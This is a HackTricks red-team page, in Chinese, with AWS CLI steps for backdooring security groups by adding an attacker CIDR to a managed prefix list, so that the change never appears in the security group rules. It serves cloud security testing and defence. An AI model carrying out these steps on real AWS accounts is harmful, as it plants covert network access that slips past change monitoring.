AWS - 通过托管前缀列表在安全组中植入后门

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

摘要

滥用客户托管的前缀列表来创建隐蔽的访问路径。如果一个安全组 (SG) 规则引用了托管的前缀列表,任何能够修改该列表的人都可以悄无声息地添加攻击者控制的 CIDRs。所有引用该列表的 SG(以及可能的网络 ACL 或 VPC 终端节点)会立即允许这些新范围,而不会在安全组中显示任何可见的更改。

影响

  • 即时扩展所有引用该前缀列表的安全组的允许 IP 范围,绕过仅监控安全组编辑的变更控制。
  • 启用持久的入站/出站后门:将恶意 CIDR 隐藏在前缀列表中,同时安全组规则看起来保持不变。

要求

  • IAM 权限:
  • ec2:DescribeManagedPrefixLists
  • ec2:GetManagedPrefixListEntries
  • ec2:ModifyManagedPrefixList
  • ec2:DescribeSecurityGroups / ec2:DescribeSecurityGroupRules (用于识别关联的 SG)
  • 可选:ec2:CreateManagedPrefixList(若为测试创建新的前缀列表)
  • 环境:至少存在一个引用目标客户托管前缀列表的 SG 规则。

变量

REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"

攻击步骤

  1. 枚举候选 prefix lists 和 consumers
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'

使用 aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID 来确认哪些 SG 规则依赖该列表。

  1. 将攻击者 CIDR 添加到前缀列表
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
  1. 验证是否传播到 security groups
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table

$ENTRY_CIDR 的流量现在在引用该 prefix list 的任何地方都被允许(通常是 egress proxies 的出站规则或 shared services 的入站规则)。

证据

  • get-managed-prefix-list-entries 反映了 attacker CIDR 和描述。
  • describe-security-group-rules 仍然显示引用该 prefix list 的原始 SG 规则(未记录 SG 修改),但来自新的 CIDR 的流量仍然成功。

清理

aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks